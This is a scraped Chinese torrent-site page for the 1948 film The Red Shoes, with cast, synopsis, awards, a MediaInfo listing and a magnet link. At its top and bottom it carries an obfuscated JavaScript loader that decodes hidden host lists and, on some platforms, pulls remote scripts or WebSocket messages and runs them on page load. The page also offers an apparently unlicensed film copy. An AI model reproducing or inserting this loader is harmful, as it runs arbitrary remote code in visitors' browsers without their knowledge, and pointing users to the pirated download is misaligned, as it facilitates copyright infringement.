红菱艳[中文字幕].The.Red.Shoes.1948.1080p.BluRay.x265.10bit.FLAC 5.92GB

B4dmin7 1月前 555

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x68\x6e\x49\x43\x61\x57\x73\x53\x72\x45']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};

◎译 名 红菱艳

◎片 名 The Red Shoes

◎年 代 1948

◎产 地 英国

◎类 别 剧情 / 爱情 / 音乐

◎语 言 英语 / 法语 / 俄语

◎上映日期 1948-09-06(英国)

◎IMDb链接 https://www.imdb.com/title/tt0040725/

◎豆瓣评分 8.2/10 (8328人评价)

◎豆瓣链接 https://movie.douban.com/subject/1299204/

◎片 长 135分钟

◎导 演 迈克尔·鲍威尔 Michael Powell (id:1027955)

埃默里克·普雷斯伯格 Emeric Pressburger (id:1037079)

◎编 剧 迈克尔·鲍威尔 Michael Powell (id:1027955)

埃默里克·普雷斯伯格 Emeric Pressburger (id:1037079)

基思·温特 Keith Winter (id:1025062)

安徒生 Hans Christian Andersen (id:1002906)

◎演 员 莫伊拉·希勒 Moira Shearer (id:1014297)

马留斯·戈尔林 Marius Goring (id:1019237)

邱岳峰 Yuefeng Qiu (id:1314759)

安东·沃尔布鲁克 Anton Walbrook (id:1041515)

乔榛 Zhen Qiao (id:1318217)

李梓 Zi Li (id:1331563)

露德米拉.车娜 Ludmilla Tchérina (id:1155174)

莱奥尼德·马赛因 Léonide Massine (id:1023533)

罗伯特·赫普曼 Robert Helpmann (id:1000554)

Jerry Verno Jerry Verno (id:1156051)

奥斯汀·特雷弗 Austin Trevor (id:1028882)

艾尔伯特·贝瑟曼 Albert Bassermann (id:1050712)

埃斯蒙德·奈特 Esmond Knight (id:1110591)

德里克·艾尔菲斯通 Derek Elphinstone (id:1081243)

伊雷娜·布朗 Irene Browne (id:1072675)

Eric Berry Eric Berry (id:1065518)

杰克·卡迪夫 Jack Cardiff (id:1050278)

雷金纳德·米尔斯 Reginald Mills (id:1292130)

亚瑟·洛森 Arthur Lawson (id:1289565)

◎标 签 英国 / 芭蕾 / 歌舞 / 歌舞片 / 英国电影 / 经典 / 1948 / 经典老片

◎简 介

佩吉(莫伊拉·希勒 Moira Shearer 饰)是一名很有天赋的芭蕾舞演员,她对芭蕾舞的热爱让她觉得她生来便是为了舞蹈。她参加了芭蕾舞剧《红菱艳》的演出,在剧中,她扮演那个穿上红鞋一直舞蹈到死的舞女,她的演出获得了业界的一致好评,她的演艺事业就此扶摇直上。之后,她结识了作曲家朱利安(马留斯·戈尔林 Marius Goring 饰)并且迅速坠入了爱河。为了所爱的人,佩吉放弃了自己的事业,但婚后平静的生活令她无法忍受,似乎总有一种魔力在召唤她穿上舞鞋翩然起舞。佩吉听从了内心的召唤,她离开了朱利安重新回到了舞台,但渐渐的,她想起了自己曾经扮演过的那个穿着红鞋的舞女,她觉得她们的身影正在慢慢重叠,不安的佩吉猛然醒悟,自己生命中最重要的并非舞蹈而是家庭,她冲出剧院想要重拾朱利安的爱情,但一辆火车从天而降,终结了她年轻的生命。

影片荣获1949年奥斯卡最佳配...

◎获奖情况 (共7项)

第21届奥斯卡金像奖 (1949)

最佳影片(提名)

最佳电影故事(提名)

└──埃默里克·普雷斯伯格 (id:1037079)

最佳剪辑(提名)

└──雷金纳德·米尔斯 (id:1292130)

彩色片最佳艺术指导和布景

剧情/喜剧片最佳配乐

└──布莱恩·伊斯德尔 (id:1024040)

第9届威尼斯电影节 (1948)

国际奖 国际电影大奖(提名)

第6届金球奖 (1949)

电影类 最佳原创配乐

└──布莱恩·伊斯德尔 (id:1024040)

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 123072865063855099765904980685887216957 (0x5C96F8BBE0EFC7E9B2DC3627F3999D3D)

  4. Complete name : [email protected].mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 5.91 GiB

  8. Duration : 2 h 15 min

  9. Overall bit rate mode : Variable

  10. Overall bit rate : 6 249 kb/s

  11. Movie name : The Red Shoes

  12. Encoded date : UTC 2021-10-25 12:29:16

  13. Writing application : mkvmerge v62.0.0 ('Apollo') 64-bit

  14. Writing library : libebml v1.4.2 + libmatroska v1.6.4

  15. Cover : Yes

  16. Attachments : cover.jpg


  17. Video

  18. ID : 1

  19. Format : HEVC

  20. Format/Info : High Efficiency Video Coding

  21. Format profile : Main [email protected]@Main

  22. Codec ID : V_MPEGH/ISO/HEVC

  23. Duration : 2 h 15 min

  24. Bit rate : 5 663 kb/s

  25. Width : 1 480 pixels

  26. Height : 1 080 pixels

  27. Display aspect ratio : 1.370

  28. Frame rate mode : Constant

  29. Frame rate : 23.976 (24000/1001/53354) FPS

  30. Color space : YUV

  31. Chroma subsampling : 4:2:0

  32. Bit depth : 10 bits

  33. Bits/(Pixel*Frame) : 0.148

  34. Stream size : 5.36 GiB (91%)

  35. Writing library : x265 3.5+2-g2b25c9ba0+45:[Windows][GCC 10.2.0][64 bit] Yuuki 10bit+8bit+12bit

  36. Encoding settings : rc=crf / crf=19.5000 / qcomp=0.60 / qpstep=4 / stats-write=0 / stats-read=0 / no-lossless / no-cu-lossless / aq-mode=3 / aq-strength=0.90 / cbqpoffs=0 / crqpoffs=0 / ipratio=1.40 / pbratio=1.30 / psy-rd=2.00 / psy-rdoq=0.00 / deblock=0:0 / ref=6 / limit-refs=1 / no-limit-modes / bframes=8 / b-adapt=2 / bframe-bias=0 / b-pyramid / b-intra / weightp / weightb / min-keyint=24 / max-keyint=240 / rc-lookahead=24 / gop-lookahead=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / max-cu-size=64 / min-cu-size=8 / me=3 / subme=7 / merange=48 / rdoq-level=0 / rd=4 / rdpenalty=0 / dynamic-rd=0.00 / no-rd-refine / ----- / cutree / sao / no-rect / no-amp / no-open-gop / wpp / no-pmode / no-pme / no-psnr / no-ssim / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-tu-size=32 / tu-inter-depth=1 / tu-intra-depth=1 / limit-tu=0 / qg-size=32 / qpmax=69 / qpmin=0 / ----- / cpuid=533541111039 / frame-threads=4 / numa-pools=+ / log-level=2 / input-csp=1 / input-res=1480x1080 / interlace=0 / level-idc=0 / high-tier=1 / uhd-bd=0 / no-allow-non-conformance / no-repeat-headers / aud / no-hrd / info / hash=0 / no-temporal-layers / lookahead-slices=0 / no-splice / no-intra-refresh / no-ssim-rd / signhide / no-tskip / max-merge=3 / temporal-mvp / no-frame-dup / no-hme / no-analyze-src-pics / no-sao-non-deblock / selective-sao=4 / early-skip / rskip / no-fast-intra / no-tskip-fast / no-splitrd-skip / zone-count=0 / no-strict-cbr / no-rc-grain / no-const-vbv / sar=0 / overscan=0 / videoformat=5 / range=0 / colorprim=2 / transfer=2 / colormatrix=2 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / scenecut-aware-qp=0conformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0 / no-vbv-live-multi-pass

  37. Default : Yes

  38. Forced : No


  39. Audio

  40. ID : 2

  41. Format : FLAC

  42. Format/Info : Free Lossless Audio Codec

  43. Codec ID : A_FLAC

  44. Duration : 2 h 15 min

  45. Bit rate mode : Variable

  46. Bit rate : 520 kb/s

  47. Channel(s) : 1 channel

  48. Channel layout : C

  49. Sampling rate : 48.0 kHz

  50. Frame rate : 11.719 FPS (4096 SPF)

  51. Bit depth : 24 bits

  52. Compression mode : Lossless

  53. Stream size : 504 MiB (8%)

  54. Writing library : libFLAC 1.2.1 (UTC 2007-09-17)

  55. Language : English

  56. Default : Yes

  57. Forced : No


  58. Text #1

  59. ID : 3

  60. ID in the original source medium : 4609 (0x1201)

  61. Format : PGS

  62. Muxing mode : zlib

  63. Codec ID : S_HDMV/PGS

  64. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  65. Duration : 2 h 12 min

  66. Bit rate : 32.4 kb/s

  67. Count of elements : 2137

  68. Stream size : 30.6 MiB (1%)

  69. Title : chs&eng

  70. Language : Chinese

  71. Default : Yes

  72. Forced : No

  73. Original source medium : Blu-ray


  74. Text #2

  75. ID : 4

  76. ID in the original source medium : 4610 (0x1202)

  77. Format : PGS

  78. Muxing mode : zlib

  79. Codec ID : S_HDMV/PGS

  80. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  81. Duration : 2 h 12 min

  82. Bit rate : 32.5 kb/s

  83. Count of elements : 2137

  84. Stream size : 30.8 MiB (1%)

  85. Title : cht&eng

  86. Language : Chinese

  87. Default : No

  88. Forced : No

  89. Original source medium : Blu-ray


  90. Text #3

  91. ID : 5

  92. ID in the original source medium : 4611 (0x1203)

  93. Format : PGS

  94. Muxing mode : zlib

  95. Codec ID : S_HDMV/PGS

  96. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  97. Duration : 2 h 12 min

  98. Bit rate : 18.4 kb/s

  99. Count of elements : 2137

  100. Stream size : 17.4 MiB (0%)

  101. Title : chs

  102. Language : Chinese

  103. Default : No

  104. Forced : No

  105. Original source medium : Blu-ray


  106. Text #4

  107. ID : 6

  108. ID in the original source medium : 4612 (0x1204)

  109. Format : PGS

  110. Muxing mode : zlib

  111. Codec ID : S_HDMV/PGS

  112. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  113. Duration : 2 h 12 min

  114. Bit rate : 18.6 kb/s

  115. Count of elements : 2137

  116. Stream size : 17.6 MiB (0%)

  117. Title : cht

  118. Language : Chinese

  119. Default : No

  120. Forced : No

  121. Original source medium : Blu-ray


  122. Text #5

  123. ID : 7

  124. ID in the original source medium : 4608 (0x1200)

  125. Format : PGS

  126. Muxing mode : zlib

  127. Codec ID : S_HDMV/PGS

  128. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  129. Duration : 2 h 9 min

  130. Bit rate : 36.6 kb/s

  131. Count of elements : 2567

  132. Stream size : 33.8 MiB (1%)

  133. Title : eng

  134. Language : English

  135. Default : No

  136. Forced : No

  137. Original source medium : Blu-ray


  138. Menu

  139. 00:00:00.000 : en:Chapter 01

  140. 00:03:40.136 : en:Chapter 02

  141. 00:07:25.778 : en:Chapter 03

  142. 00:12:11.897 : en:Chapter 04

  143. 00:16:35.327 : en:Chapter 05

  144. 00:20:39.780 : en:Chapter 06

  145. 00:28:05.225 : en:Chapter 07

  146. 00:33:18.079 : en:Chapter 08

  147. 00:36:37.111 : en:Chapter 09

  148. 00:39:06.886 : en:Chapter 10

  149. 00:42:12.988 : en:Chapter 11

  150. 00:45:06.245 : en:Chapter 12

  151. 00:50:46.835 : en:Chapter 13

  152. 00:54:39.693 : en:Chapter 14

  153. 01:02:03.386 : en:Chapter 15

  154. 01:22:59.599 : en:Chapter 16

  155. 01:28:19.210 : en:Chapter 17

  156. 01:32:10.733 : en:Chapter 18

  157. 01:39:09.735 : en:Chapter 19

  158. 01:47:41.621 : en:Chapter 20

  159. 01:55:39.140 : en:Chapter 21

  160. 02:00:10.203 : en:Chapter 22

  161. 02:02:56.494 : en:Chapter 23

  162. 02:08:28.450 : en:Chapter 24

  163. 02:13:10.732 : en:Chapter 25


TAGS 剧情 爱情 音乐

磁力链:
  • magnet:?xt=urn:btih:672D2850354FDCF3EAA8F47131E36E6BF4D98FEA

上传的附件:
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。
最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回
发新帖
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNg==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x59\x72\x72\x51\x4e\x72\x4a\x5a\x7a\x42']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};